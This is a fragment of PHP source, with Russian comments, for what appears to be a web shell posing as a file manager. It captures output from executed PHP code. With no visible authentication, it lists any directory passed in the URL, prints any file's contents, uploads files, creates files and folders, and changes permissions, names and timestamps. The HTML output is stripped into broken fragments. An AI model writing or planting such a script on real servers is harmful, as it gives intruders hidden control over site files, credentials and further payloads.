getMessage(); } $phpOutput = ob_get_clean(); restore_error_handler(); // Восстанавливаем обработчик ошибок после выполнения } // Получаем текущую директорию $directory = isset($_GET['dir']) ? $_GET['dir'] : $_SERVER['DOCUMENT_ROOT']; $directory = rtrim($directory, '/'); // Убираем лишний слэш в конце // Санитизируем и проверяем путь $directory = sanitizePath($directory); if (!$directory || !is_dir($directory)) { $directory = $_SERVER['DOCUMENT_ROOT']; // Если директория некорректна, возвращаем в корень } // Получаем файлы и папки в текущей директории $files = scandir($directory); // Разделим папки и файлы $dirs = []; $non_dirs = []; foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $filePath = $directory . '/' . $file; if (is_dir($filePath)) { $dirs[] = $file; } else { $non_dirs[] = $file; } } } // Сортировка папок и файлов sort($dirs); sort($non_dirs); // Объединяем папки и файлы $files = array_merge($dirs, $non_dirs); // Функция для генерации пути с кликабельными частями function generateClickablePath($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $currentPath = ''; $clickablePath = ''; foreach ($parts as $index => $part) { $currentPath .= DIRECTORY_SEPARATOR . $part; $clickablePath .= '' . safePath($part) . ''; if ($index < count($parts) - 1) { $clickablePath .= ' / '; } } return $clickablePath; } // Проверка на запрос содержимого файла для модального окна if (isset($_GET['file'])) { $filePath = sanitizePath($directory . '/' . $_GET['file']); if (is_file($filePath)) { echo file_get_contents($filePath); } exit; } // Обработка изменений прав, переименования и изменения времени // Обработка изменений прав, переименования и изменения времени if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $filePath = sanitizePath($directory . '/' . $_POST['file'] ?? ''); if ($action === 'createFile') { // Создание нового файла $newFileName = $_POST['newFileName'] ?? ''; if ($newFileName) { $fileToCreate = $directory . '/' . $newFileName; if (!file_exists($fileToCreate)) { touch($fileToCreate); // Создаём пустой файл } else { echo "File already exists!"; } } } if ($action === 'createFolder') { // Создание новой папки $newFolderName = $_POST['newFolderName'] ?? ''; if ($newFolderName) { $folderToCreate = $directory . '/' . $newFolderName; if (!is_dir($folderToCreate)) { mkdir($folderToCreate); // Создаём новую папку } else { echo "Folder already exists!"; } } } if ($action === 'uploadFile') { // Загрузка файла if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] == 0) { $targetFile = $directory . '/' . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) { echo "The file has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } if (is_file($filePath)) { // Для файлов разрешаем все действия if ($action === 'chmod') { $chmod = $_POST['chmod'] ?? ''; if ($chmod) { chmod($filePath, octdec($chmod)); } } if ($action === 'rename') { $newName = $_POST['newName'] ?? ''; if ($newName) { rename($filePath, dirname($filePath) . '/' . $newName); } } if ($action === 'touch') { touch($filePath); } } elseif (is_dir($filePath)) { // Для папок разрешаем только chmod и rename if ($action === 'chmod') { $chmod = $_POST['chmod'] ?? ''; if ($chmod) { chmod($filePath, octdec($chmod)); } } if ($action === 'rename') { $newName = $_POST['newName'] ?? ''; if ($newName) { rename($filePath, dirname($filePath) . '/' . $newName); } } } } ?>
| Filename | Action |
|---|---|
| '; echo '[' . safePath($file) . ']'; } else { echo ''; echo '' . safePath($file) . ''; } ?> |